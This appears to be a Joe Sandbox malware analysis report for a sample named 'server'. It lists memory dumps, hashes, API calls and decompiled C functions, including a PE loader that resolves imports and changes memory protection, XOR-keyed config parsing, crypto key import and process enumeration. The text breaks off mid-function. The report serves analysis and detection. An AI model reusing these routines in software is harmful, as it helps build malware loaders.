Source File: 00000000.00000002.523151109.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.523151109.0000000000403000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.523151109.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.523151109.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_server.jbxd

Similarity

API ID: DescriptorSecurity$ConvertString
String ID:
API String ID: 3907675253-0
Opcode ID: d44a2a0f54f5e6775fd6c1e8a7c4d446c5909fbbc7626a237563b1b511256517
Instruction ID: 8b1a9882f0f7b6f5a619b3d6300b2bdd32795284b236dc0e31706888a106ff8d
Opcode Fuzzy Hash: d44a2a0f54f5e6775fd6c1e8a7c4d446c5909fbbc7626a237563b1b511256517
Instruction Fuzzy Hash: AFC04CF4140300B7E620AB409D5AF057A5577A4715F61062DFB04391E1C3F91094952D

Uniqueness

Uniqueness Score: -1.00%

Function 007961DA Relevance: 1.5, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E007961DA(void* _a4) {
				char _t2;

				_t2 = RtlFreeHeap( *0x79a2d8, 0, _a4); // executed
				return _t2;
			}

0x007961e6
0x007961ec

APIs

RtlFreeHeap.NTDLL(00000000,00000000,00796383,00000000,?,00000000,00000000), ref: 007961E6

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 5f7e96f470bae1094c3710b995e445baa0fc133b2cdd76ddb96a216f5ddf6d12
Instruction ID: f589c927534d9afd76b21a64601e31974dc7dad766dd9fc29bf545a7f76bebf1
Opcode Fuzzy Hash: 5f7e96f470bae1094c3710b995e445baa0fc133b2cdd76ddb96a216f5ddf6d12
Instruction Fuzzy Hash: BFB01272100200FBDB218B04DE04F057A21B794700F00C016B3040007082360422FB1E

Uniqueness

Uniqueness Score: -1.00%

Function 004012E6 Relevance: 1.5, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004012E6(long _a4) {
				void* _t2;

				_t2 = RtlAllocateHeap( *0x404160, 0, _a4); // executed
				return _t2;
			}

0x004012f2
0x004012f8

APIs

RtlAllocateHeap.NTDLL(00000000,?,00401A18,00000030,?,00000000), ref: 004012F2

Memory Dump Source

Source File: 00000000.00000002.523151109.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.523151109.0000000000403000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.523151109.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.523151109.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_server.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 8d53e43e4fecd4b65d19afa8ec6fbbeba3cde750ccf00ed1d63409ce6b8d1d85
Instruction ID: e72f98105ba7c706faca8ef9926cddb4ff6cd2f9e0c1ce1923eff6ceed1ee1be
Opcode Fuzzy Hash: 8d53e43e4fecd4b65d19afa8ec6fbbeba3cde750ccf00ed1d63409ce6b8d1d85
Instruction Fuzzy Hash: 92B012B1100100ABCA118F11EF08F06BE31B7E4701F004030B3042407482314C20FB1D

Uniqueness

Uniqueness Score: -1.00%

Function 00401BA9 Relevance: 1.5, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401BA9(void* _a4) {
				char _t2;

				_t2 = RtlFreeHeap( *0x404160, 0, _a4); // executed
				return _t2;
			}

0x00401bb5
0x00401bbb

APIs

RtlFreeHeap.NTDLL(00000000,00000030,004017ED,00000000,00000030,00000000,00000000,00000030,?,?,?,?,?,00401A66), ref: 00401BB5

Memory Dump Source

Source File: 00000000.00000002.523151109.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.523151109.0000000000403000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.523151109.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.523151109.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_server.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 3b8eee9051a441d58e5db666830f183a15b7cffca9eb150e625e3af0535b1606
Instruction ID: ce698fd0423bda5088509b7a42681047dd9c8e559710f82c1ef419a06116bbed
Opcode Fuzzy Hash: 3b8eee9051a441d58e5db666830f183a15b7cffca9eb150e625e3af0535b1606
Instruction Fuzzy Hash: 8AB01271000100BBCA118F10EF08F067F21B7E4701F008030B3046407482314D60FB0C

Uniqueness

Uniqueness Score: -1.00%

Function 004012FB Relevance: 1.3, APIs: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E004012FB(void* __eax) {
				char _v8;
				void* _v12;
				void* __edi;
				void* _t18;
				long _t24;
				long _t26;
				long _t29;
				intOrPtr _t40;
				void* _t41;
				void* _t42;
				void* _t44;

				_t41 = __eax;
				_t16 =  *0x404180;
				_t33 =  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x404180 - 0x43174ac4 &  !( *0x404180 - 0x43174ac4);
				_t18 = E00401202( *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x404180 - 0x43174ac4 &  !( *0x404180 - 0x43174ac4),  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x404180 - 0x43174ac4 &  !( *0x404180 - 0x43174ac4), _t16 + 0xbce8a57d,  &_v8,  &_v12); // executed
				if(_t18 != 0) {
					_t29 = 8;
					goto L8;
				} else {
					_t40 = _v8;
					_t29 = E00401BC4(_t33, _t40, _t41);
					if(_t29 == 0) {
						_t44 =  *((intOrPtr*)(_t40 + 0x3c)) + _t40;
						_t24 = E00401000(_t40, _t44); // executed
						_t29 = _t24;
						if(_t29 == 0) {
							_t26 = E004014CF(_t44, _t40); // executed
							_t29 = _t26;
							if(_t29 == 0) {
								_push(_t26);
								_push(1);
								_push(_t40);
								if( *((intOrPtr*)( *((intOrPtr*)(_t44 + 0x28)) + _t40))() == 0) {
									_t29 = GetLastError();
								}
							}
						}
					}
					_t42 = _v12;
					 *((intOrPtr*)(_t42 + 0x18))( *((intOrPtr*)(_t42 + 0x1c))( *_t42));
					E00401BA9(_t42);
					L8:
					return _t29;
				}
			}

0x00401303
0x00401305
0x00401321
0x00401332
0x00401339
0x00401397
0x00000000
0x0040133b
0x0040133b
0x00401345
0x00401349
0x0040134e
0x00401351
0x00401356
0x0040135a
0x0040135f
0x00401364
0x00401368
0x0040136d
0x0040136e
0x00401372
0x00401377
0x0040137f
0x0040137f
0x00401377
0x00401368
0x0040135a
0x00401381
0x0040138a
0x0040138e
0x00401398
0x0040139e
0x0040139e

APIs

Part of subcall function 00401202: GetModuleHandleA.KERNEL32(?,00000020,?,?,?,?,?,00401337,?,?,?,?,?,00000002,?,?), ref: 00401226
Part of subcall function 00401202: GetProcAddress.KERNEL32(00000000,?), ref: 00401248
Part of subcall function 00401202: GetProcAddress.KERNEL32(00000000,?), ref: 0040125E
Part of subcall function 00401202: GetProcAddress.KERNEL32(00000000,?), ref: 00401274
Part of subcall function 00401202: GetProcAddress.KERNEL32(00000000,?), ref: 0040128A
Part of subcall function 00401202: GetProcAddress.KERNEL32(00000000,?), ref: 004012A0

Part of subcall function 00401000: LoadLibraryA.KERNELBASE(?,?,00000000,?,?), ref: 00401038

Part of subcall function 004014CF: VirtualProtect.KERNELBASE(00000000,?,?,?,?,?,00000000,?,?), ref: 00401508
Part of subcall function 004014CF: VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 0040157D
Part of subcall function 004014CF: GetLastError.KERNEL32 ref: 00401583

GetLastError.KERNEL32(?,?), ref: 00401379

Memory Dump Source

Source File: 00000000.00000002.523151109.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.523151109.0000000000403000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.523151109.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.523151109.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_server.jbxd

Similarity

API ID: AddressProc$ErrorLastProtectVirtual$HandleLibraryLoadModule
String ID:
API String ID: 3135819546-0
Opcode ID: 336f5482e3aed059344eafb9dfd841dc67045812ccfd429b7a3489f36f6440d7
Instruction ID: 9c7335bcc5d41c3ee7976e84fb0b4f56712358cbe666051dfec51b4dde3629c0
Opcode Fuzzy Hash: 336f5482e3aed059344eafb9dfd841dc67045812ccfd429b7a3489f36f6440d7
Instruction Fuzzy Hash: 8B11E976600301ABD711ABA68C85DAB77BCAF98318704017EFD01B7A91EA74ED068798

Uniqueness

Uniqueness Score: -1.00%

Function 0081B24A Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0081B29B

Memory Dump Source

Source File: 00000000.00000002.523539634.0000000000816000.00000040.00000020.00020000.00000000.sdmp, Offset: 00816000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_816000_server.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 17e01f00463e4c7f11d8f83206b036273e9a43c13fc7f2699265da7d612e7756
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 60113C79A00208EFDB01DF98C985E98BBF5EF08351F0580A4F9489B362D371EA90DF80

Uniqueness

Uniqueness Score: -1.00%

Function 007933F1 Relevance: 1.3, APIs: 1, Instructions: 43
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E007933F1(intOrPtr* __edi, void* _a4, char _a8, unsigned int _a12) {
				void* _t21;
				void* _t22;
				signed int _t24;
				intOrPtr* _t26;
				void* _t27;

				_t26 = __edi;
				if(_a4 == 0) {
					L2:
					_t27 = E007958BD(_a4, 0x80000002, _a8, _a12,  &_a4,  &_a12);
					if(_t27 == 0) {
						_t24 = _a12 >> 1;
						if(_t24 == 0) {
							_t27 = 2;
							HeapFree( *0x79a2d8, 0, _a4);
						} else {
							_t21 = _a4;
							 *((short*)(_t21 + _t24 * 2 - 2)) = 0;
							 *_t26 = _t21;
						}
					}
					L6:
					return _t27;
				}
				_t22 = E00792839(_a4, _a8, _a12, __edi); // executed
				_t27 = _t22;
				if(_t27 == 0) {
					goto L6;
				}
				goto L2;
			}

0x007933f1
0x007933f9
0x00793410
0x0079342b
0x0079342f
0x00793434
0x00793436
0x00793448
0x00793454
0x00793438
0x00793438
0x0079343d
0x00793442
0x00793442
0x00793436
0x0079345a
0x0079345e
0x0079345e
0x00793405
0x0079340a
0x0079340e
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 00792839: SysFreeString.OLEAUT32(00000000), ref: 0079289C

HeapFree.KERNEL32(00000000,00000000,00000000,80000002,74D0F710,?,00000000,?,00000000,?,0079528E,?,004F0053,02D29218,00000000,?), ref: 00793454

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: Free$HeapString
String ID:
API String ID: 3806048269-0
Opcode ID: 933f2d0e636a6f99c71d50c57108943dbaba482d45445d6506fed37d40ba3641
Instruction ID: 3b33bf257aba748014239fb213eb8e8ef1ea4b5c685dbd3c92f710cf7f3a8dd7
Opcode Fuzzy Hash: 933f2d0e636a6f99c71d50c57108943dbaba482d45445d6506fed37d40ba3641
Instruction Fuzzy Hash: D9017832400659FBDF239F88EC05EAA3BA5EF08750F058029FE089A130D7358A21DB80

Uniqueness

Uniqueness Score: -1.00%

Function 00795063 Relevance: 1.3, APIs: 1, Instructions: 36
stringCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00795063(void* __ecx, void* __edx, void* _a4, void* _a8) {
				void* _t13;
				void* _t21;

				_t11 =  &_a4;
				_t21 = 0;
				__imp__( &_a8);
				_t13 = E00791508( &_a4 + 1, 1, _a8, _a4, _a4, _t11); // executed
				if(_t13 == 0) {
					_t21 = E007933DC(_a8 + _a8);
					if(_t21 != 0) {
						E007922EA(_a4, _t21, _t23);
					}
					E007961DA(_a4);
				}
				return _t21;
			}

0x0079506b
0x00795072
0x00795074
0x00795083
0x0079508a
0x00795099
0x0079509d
0x007950a4
0x007950a4
0x007950ac
0x007950b1
0x007950b6

APIs

lstrlen.KERNEL32(00000000,00000000,00793ECE,00000000,?,007966D9,00000000,00793ECE,?,7491C740,00793ECE,00000000,02D29600), ref: 00795074

Part of subcall function 00791508: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000018,F0000000,00000000,00000000,00000000,?,?,?,00795088,00000001,00793ECE,00000000), ref: 00791540
Part of subcall function 00791508: memcpy.NTDLL(00795088,00793ECE,00000010,?,?,?,00795088,00000001,00793ECE,00000000,?,007966D9,00000000,00793ECE,?,7491C740), ref: 00791559
Part of subcall function 00791508: CryptImportKey.ADVAPI32(?,?,0000001C,00000000,00000000,00000000), ref: 00791582
Part of subcall function 00791508: CryptSetKeyParam.ADVAPI32(00000000,00000001,?,00000000), ref: 0079159A
Part of subcall function 00791508: memcpy.NTDLL(00000000,7491C740,02D29600,00000010), ref: 007915EC

Part of subcall function 007933DC: RtlAllocateHeap.NTDLL(00000000,00000000,007962F6), ref: 007933E8

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: Crypt$memcpy$AcquireAllocateContextHeapImportParamlstrlen
String ID:
API String ID: 894908221-0
Opcode ID: 92f54c33101577fd97d7e13ada6c4531223da7424e4db26d6192d2ee631d7c7a
Instruction ID: 749106c2b2e957b76ad52eb621927109e750f86000b7e4c1d1c16c2e7e3a784c
Opcode Fuzzy Hash: 92f54c33101577fd97d7e13ada6c4531223da7424e4db26d6192d2ee631d7c7a
Instruction Fuzzy Hash: E4F05E3610051DBBDF126F69EC05DDE3BADEF88360B018022FE1DCA011DA35DA569BA0

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00791D8A Relevance: 12.3, APIs: 8, Instructions: 258
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E00791D8A(void* __ebx, int* __ecx, void* __edx, void* __edi, void* __esi) {
				int _v8;
				void* _v12;
				void* _v16;
				signed int _t28;
				signed int _t33;
				signed int _t39;
				char* _t45;
				char* _t46;
				char* _t47;
				char* _t48;
				char* _t49;
				char* _t50;
				void* _t51;
				void* _t52;
				void* _t53;
				intOrPtr _t54;
				void* _t56;
				intOrPtr _t57;
				intOrPtr _t58;
				signed int _t61;
				intOrPtr _t64;
				signed int _t65;
				signed int _t70;
				void* _t72;
				void* _t73;
				signed int _t75;
				signed int _t78;
				signed int _t82;
				signed int _t86;
				signed int _t90;
				signed int _t94;
				signed int _t98;
				void* _t101;
				void* _t102;
				void* _t116;
				void* _t119;
				intOrPtr _t122;

				_t119 = __esi;
				_t116 = __edi;
				_t104 = __ecx;
				_t101 = __ebx;
				_t28 =  *0x79a344; // 0x43175ac3
				if(E007910F8( &_v8,  &_v12, _t28 ^ 0xa23f04a7) != 0 && _v12 >= 0x110) {
					 *0x79a374 = _v8;
				}
				_t33 =  *0x79a344; // 0x43175ac3
				if(E007910F8( &_v16,  &_v12, _t33 ^ 0x2bfce340) == 0) {
					_v12 = 2;
					L69:
					return _v12;
				}
				_t39 =  *0x79a344; // 0x43175ac3
				_push(_t116);
				if(E007910F8( &_v12,  &_v8, _t39 ^ 0xcca68722) == 0) {
					L67:
					HeapFree( *0x79a2d8, 0, _v16);
					goto L69;
				} else {
					_push(_t101);
					_t102 = _v12;
					if(_t102 == 0) {
						_t45 = 0;
					} else {
						_t98 =  *0x79a344; // 0x43175ac3
						_t45 = E007936C5(_t104, _t102, _t98 ^ 0x523046bc);
					}
					_push(_t119);
					if(_t45 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t45, 0,  &_v8) != 0) {
							 *0x79a2e0 = _v8;
						}
					}
					if(_t102 == 0) {
						_t46 = 0;
					} else {
						_t94 =  *0x79a344; // 0x43175ac3
						_t46 = E007936C5(_t104, _t102, _t94 ^ 0x0b3e0d40);
					}
					if(_t46 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t46, 0,  &_v8) != 0) {
							 *0x79a2e4 = _v8;
						}
					}
					if(_t102 == 0) {
						_t47 = 0;
					} else {
						_t90 =  *0x79a344; // 0x43175ac3
						_t47 = E007936C5(_t104, _t102, _t90 ^ 0x1b5903e6);
					}
					if(_t47 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t47, 0,  &_v8) != 0) {
							 *0x79a2e8 = _v8;
						}
					}
					if(_t102 == 0) {
						_t48 = 0;
					} else {
						_t86 =  *0x79a344; // 0x43175ac3
						_t48 = E007936C5(_t104, _t102, _t86 ^ 0x267c2349);
					}
					if(_t48 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t48, 0,  &_v8) != 0) {
							 *0x79a004 = _v8;
						}
					}
					if(_t102 == 0) {
						_t49 = 0;
					} else {
						_t82 =  *0x79a344; // 0x43175ac3
						_t49 = E007936C5(_t104, _t102, _t82 ^ 0x167db74c);
					}
					if(_t49 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t49, 0,  &_v8) != 0) {
							 *0x79a02c = _v8;
						}
					}
					if(_t102 == 0) {
						_t50 = 0;
					} else {
						_t78 =  *0x79a344; // 0x43175ac3
						_t50 = E007936C5(_t104, _t102, _t78 ^ 0x02ddbcae);
					}
					if(_t50 == 0) {
						L41:
						 *0x79a2ec = 5;
						goto L42;
					} else {
						_t104 =  &_v8;
						if(StrToIntExA(_t50, 0,  &_v8) == 0 || _v8 == 0) {
							goto L41;
						} else {
							L42:
							if(_t102 == 0) {
								_t51 = 0;
							} else {
								_t75 =  *0x79a344; // 0x43175ac3
								_t51 = E007936C5(_t104, _t102, _t75 ^ 0x0cbf33fd);
							}
							if(_t51 != 0) {
								_push(_t51);
								_t72 = 0x10;
								_t73 = E00795B85(_t72);
								if(_t73 != 0) {
									_push(_t73);
									E0079607C();
								}
							}
							if(_t102 == 0) {
								_t52 = 0;
							} else {
								_t70 =  *0x79a344; // 0x43175ac3
								_t52 = E007936C5(_t104, _t102, _t70 ^ 0x93710135);
							}
							if(_t52 != 0 && E00795B85(0, _t52) != 0) {
								_t122 =  *0x79a3cc; // 0x2d29600
								E00795364(_t122 + 4, _t68);
							}
							if(_t102 == 0) {
								_t53 = 0;
							} else {
								_t65 =  *0x79a344; // 0x43175ac3
								_t53 = E007936C5(_t104, _t102, _t65 ^ 0x175474b7);
							}
							if(_t53 == 0) {
								L59:
								_t54 =  *0x79a348; // 0x258d5a8
								_t22 = _t54 + 0x79b5f3; // 0x616d692f
								 *0x79a370 = _t22;
								goto L60;
							} else {
								_t64 = E00795B85(0, _t53);
								 *0x79a370 = _t64;
								if(_t64 != 0) {
									L60:
									if(_t102 == 0) {
										_t56 = 0;
									} else {
										_t61 =  *0x79a344; // 0x43175ac3
										_t56 = E007936C5(_t104, _t102, _t61 ^ 0xf8a29dde);
									}
									if(_t56 == 0) {
										_t57 =  *0x79a348; // 0x258d5a8
										_t23 = _t57 + 0x79b899; // 0x6976612e
										_t58 = _t23;
									} else {
										_t58 = E00795B85(0, _t56);
									}
									 *0x79a3e0 = _t58;
									HeapFree( *0x79a2d8, 0, _t102);
									_v12 = 0;
									goto L67;
								}
								goto L59;
							}
						}
					}
				}
			}

0x00791d8a
0x00791d8a
0x00791d8a
0x00791d8a
0x00791d8d
0x00791daa
0x00791db8
0x00791db8
0x00791dbd
0x00791dd7
0x00792045
0x0079204c
0x00792050
0x00792050
0x00791ddd
0x00791de2
0x00791dfa
0x00792032
0x0079203c
0x00000000
0x00791e00
0x00791e00
0x00791e01
0x00791e06
0x00791e1c
0x00791e08
0x00791e08
0x00791e15
0x00791e15
0x00791e1e
0x00791e27
0x00791e29
0x00791e33
0x00791e38
0x00791e38
0x00791e33
0x00791e3f
0x00791e55
0x00791e41
0x00791e41
0x00791e4e
0x00791e4e
0x00791e59
0x00791e5b
0x00791e65
0x00791e6a
0x00791e6a
0x00791e65
0x00791e71
0x00791e87
0x00791e73
0x00791e73
0x00791e80
0x00791e80
0x00791e8b
0x00791e8d
0x00791e97
0x00791e9c
0x00791e9c
0x00791e97
0x00791ea3
0x00791eb9
0x00791ea5
0x00791ea5
0x00791eb2
0x00791eb2
0x00791ebd
0x00791ebf
0x00791ec9
0x00791ece
0x00791ece
0x00791ec9
0x00791ed5
0x00791eeb
0x00791ed7
0x00791ed7
0x00791ee4
0x00791ee4
0x00791eef
0x00791ef1
0x00791efb
0x00791f00
0x00791f00
0x00791efb
0x00791f07
0x00791f1d
0x00791f09
0x00791f09
0x00791f16
0x00791f16
0x00791f21
0x00791f34
0x00791f34
0x00000000
0x00791f23
0x00791f23
0x00791f2d
0x00000000
0x00791f3e
0x00791f3e
0x00791f40
0x00791f56
0x00791f42
0x00791f42
0x00791f4f
0x00791f4f
0x00791f5a
0x00791f5c
0x00791f5f
0x00791f60
0x00791f67
0x00791f69
0x00791f6a
0x00791f6a
0x00791f67
0x00791f71
0x00791f87
0x00791f73
0x00791f73
0x00791f80
0x00791f80
0x00791f8b
0x00791f99
0x00791fa3
0x00791fa3
0x00791fab
0x00791fc1
0x00791fad
0x00791fad
0x00791fba
0x00791fba
0x00791fc5
0x00791fd8
0x00791fd8
0x00791fdd
0x00791fe3
0x00000000
0x00791fc7
0x00791fca
0x00791fcf
0x00791fd6
0x00791fe8
0x00791fea
0x00792000
0x00791fec
0x00791fec
0x00791ff9
0x00791ff9
0x00792004
0x00792010
0x00792015
0x00792015
0x00792006
0x00792009
0x00792009
0x00792023
0x00792028
0x0079202e
0x00000000
0x00792031
0x00000000
0x00791fd6
0x00791fc5
0x00791f2d
0x00791f21

APIs

StrToIntExA.SHLWAPI(00000000,00000000,?,0079A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 00791E2F
StrToIntExA.SHLWAPI(00000000,00000000,?,0079A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 00791E61
StrToIntExA.SHLWAPI(00000000,00000000,?,0079A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 00791E93
StrToIntExA.SHLWAPI(00000000,00000000,?,0079A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 00791EC5
StrToIntExA.SHLWAPI(00000000,00000000,?,0079A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 00791EF7
StrToIntExA.SHLWAPI(00000000,00000000,?,0079A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 00791F29
HeapFree.KERNEL32(00000000,?,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?,?), ref: 00792028
HeapFree.KERNEL32(00000000,?,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?,?), ref: 0079203C

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 1449756a0306cbabdb87c4dd825ee4e70d4ff3aa0c2095d68b4e31747df352f0
Instruction ID: f2b66dc7df1780900e121e78a9e91158c35f683aa8bbcfe17474cb7d5f619dae
Opcode Fuzzy Hash: 1449756a0306cbabdb87c4dd825ee4e70d4ff3aa0c2095d68b4e31747df352f0
Instruction Fuzzy Hash: 5C81A070A0110AFFCF11EBB8BD89D6F77FAAB487007A44926A501D3211EB3DDD528B65

Uniqueness

Uniqueness Score: -1.00%

Function 007930D5 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
processCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E007930D5() {
				char _v264;
				void* _v300;
				int _t8;
				intOrPtr _t9;
				int _t15;
				void* _t17;

				_t15 = 0;
				_t17 = CreateToolhelp32Snapshot(2, 0);
				if(_t17 != 0) {
					_t8 = Process32First(_t17,  &_v300);
					while(_t8 != 0) {
						_t9 =  *0x79a348; // 0x258d5a8
						_t2 = _t9 + 0x79be88; // 0x73617661
						_push( &_v264);
						if( *0x79a12c() != 0) {
							_t15 = 1;
						} else {
							_t8 = Process32Next(_t17,  &_v300);
							continue;
						}
						L7:
						CloseHandle(_t17);
						goto L8;
					}
					goto L7;
				}
				L8:
				return _t15;
			}

0x007930e0
0x007930ea
0x007930ee
0x007930f8
0x00793129
0x007930ff
0x00793104
0x00793111
0x0079311a
0x00793131
0x0079311c
0x00793124
0x00000000
0x00793124
0x00793132
0x00793133
0x00000000
0x00793133
0x00000000
0x0079312d
0x00793139
0x0079313e

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 007930E5
Process32First.KERNEL32(00000000,?), ref: 007930F8
Process32Next.KERNEL32(00000000,?), ref: 00793124
CloseHandle.KERNEL32(00000000), ref: 00793133

Strings

|}y, xrefs: 00793112

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID: |}y
API String ID: 420147892-300058117
Opcode ID: 17203c3956fa8ebc92424aef44d4d770972887390c90d805fc051fb83652917a
Instruction ID: cd0672967fac785927b1d0b7400a1882965ce576bf7bd3b5fe41af8b4b6fa8b5
Opcode Fuzzy Hash: 17203c3956fa8ebc92424aef44d4d770972887390c90d805fc051fb83652917a
Instruction Fuzzy Hash: 6EF0BB3214151CAADF20B76ABC4AEEB37ACDBC5350F000162FA45C3011EA2CDA5AC6A1

Uniqueness

Uniqueness Score: -1.00%

Function 00401D68 Relevance: 6.0, APIs: 4, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401D68() {
				void* _t1;
				unsigned int _t3;
				void* _t4;
				long _t5;
				void* _t6;
				intOrPtr _t10;
				void* _t14;

				_t10 =  *0x404170;
				_t1 = CreateEventA(0, 1, 0, 0);
				 *0x40417c = _t1;
				if(_t1 == 0) {
					return GetLastError();
				}
				_t3 = GetVersion();
				if(_t3 != 5) {
					L4:
					if(_t14 <= 0) {
						_t4 = 0x32;
						return _t4;
					} else {
						goto L5;
					}
				} else {
